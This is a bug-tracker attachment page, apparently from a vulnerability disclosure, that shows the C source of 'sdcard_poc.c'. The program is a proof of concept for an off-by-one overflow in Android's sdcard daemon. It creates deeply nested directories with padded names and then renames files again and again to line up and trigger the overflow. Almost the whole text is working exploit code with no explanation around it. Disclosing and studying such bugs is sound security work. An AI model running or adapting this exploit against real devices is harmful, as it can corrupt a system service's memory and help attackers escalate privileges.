New issue
Advanced search Search tips

Issue 798 attachment: sdcard_poc.c (3.8 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <fcntl.h>

#include <sys/stat.h>
#include <sys/types.h>

#include <unistd.h>

static void _append_dir(char* dst, size_t dst_len, const char* src) {
if (dst_len > strlen(dst) + 2) {
strncat(dst, src, dst_len - strlen(dst));
strncat(dst, "/", dst_len - strlen(dst));
}
}

static void _append_file(char* dst, size_t dst_len, const char* src) {
if (dst_len > strlen(dst) + 2) {
strncat(dst, src, dst_len - strlen(dst));
}
}

#define append_dir(dst, src) _append_dir(dst, sizeof(dst), src)
#define append_file(dst, src) _append_file(dst, sizeof(dst), src)

char* base_path = "/data/tmp/default/badger";
const size_t overflow_count = 14;

static const char* name(size_t length) {
static char name[256];
if (length > 255) {
abort();
}
memset(name, 'A', length);
name[length] = 0;
return name;
}

static int rename_and_test(const char* old_path, const char* new_path) {
if (0 == rename(old_path, new_path)) {
int fd = open(name(1), O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
if (fd > 0) {
close(fd);
return 1;
}
}

return 0;
}

static int rename_pad_1(size_t old_size, size_t new_size) {
size_t i = 0;
int fd = 0;
char old_path[0x1000];
char new_path[0x1000];

memset(old_path, 0, sizeof(old_path));
memset(new_path, 0, sizeof(new_path));

fprintf(stderr, " rename_pad_1(%zu, %zu)\n", old_size, new_size);

append_dir(old_path, base_path);
for (i = 0; i < overflow_count; ++i) {
append_dir(old_path, name(1));
}
append_dir(old_path, name(1));

strcpy(new_path, old_path);

append_file(old_path, name(old_size));
append_file(new_path, name(new_size));

return rename_and_test(old_path, new_path);
}

static void rename_overflows(size_t new_size) {
size_t i = 0, j = 0;

fprintf(stderr, " rename_overflows(%zu)\n", new_size);

for (i = overflow_count; i > 0; --i) {
char old_path[0x1000];
char new_path[0x1000];

memset(old_path, 0, sizeof(old_path));
memset(new_path, 0, sizeof(new_path));

append_dir(old_path, base_path);
for (j = 0; j < i - 1; ++j) {
append_dir(old_path, name(1));
}

strcpy(new_path, old_path);

append_file(old_path, name(1));
append_file(new_path, name(new_size));

rename(old_path, new_path);
}
}

static int rename_pad_2(size_t old_size, size_t new_size) {
size_t i = 0;
char old_path[0x1000];
char new_path[0x1000];

memset(old_path, 0, sizeof(old_path));
memset(new_path, 0, sizeof(new_path));

fprintf(stderr, " rename_pad_2(%zu, %zu)\n", old_size, new_size);

append_dir(old_path, base_path);
for (i = 0; i < overflow_count; ++i) {
append_dir(old_path, name(255));
}
append_dir(old_path, name(1));

strcpy(new_path, old_path);

append_file(old_path, name(old_size));
append_file(new_path, name(new_size));

return rename_and_test(old_path, new_path);
}

int main(int argc, char** argv) {
size_t i = 0;

fprintf(stderr, "[*] sdcard off-by-one poc\n");
chdir(base_path);

fprintf(stderr, "[*] getting everything ready...\n");
fprintf(stderr, " - creating %i small entries\n", overflow_count + 2);
for (i = 0; i < overflow_count + 2; ++i) {
mkdir(name(1), S_IRWXU | S_IRWXG | S_IRWXO);
chdir(name(1));
}

fprintf(stderr, " - creating large entries\n");
for (i = 0; ; ++i) {
if (0 > mkdir(name(255), S_IRWXU | S_IRWXG | S_IRWXO)) {
break;
}
chdir(name(255));
}

fprintf(stderr, " - adjusting pad_1 entry\n");
for (i = 2; i < 255; ++i) {
if (!rename_pad_1(i-1, i)) {
rename_pad_1(i, i-1);
break;
}
}

fprintf(stderr, " - resizing overflow entries\n");
rename_overflows(255);

fprintf(stderr, "[*] triggering!\n");
for (i = 2; i < 255; ++i) {
rename_pad_2(i - 1, i);
}
}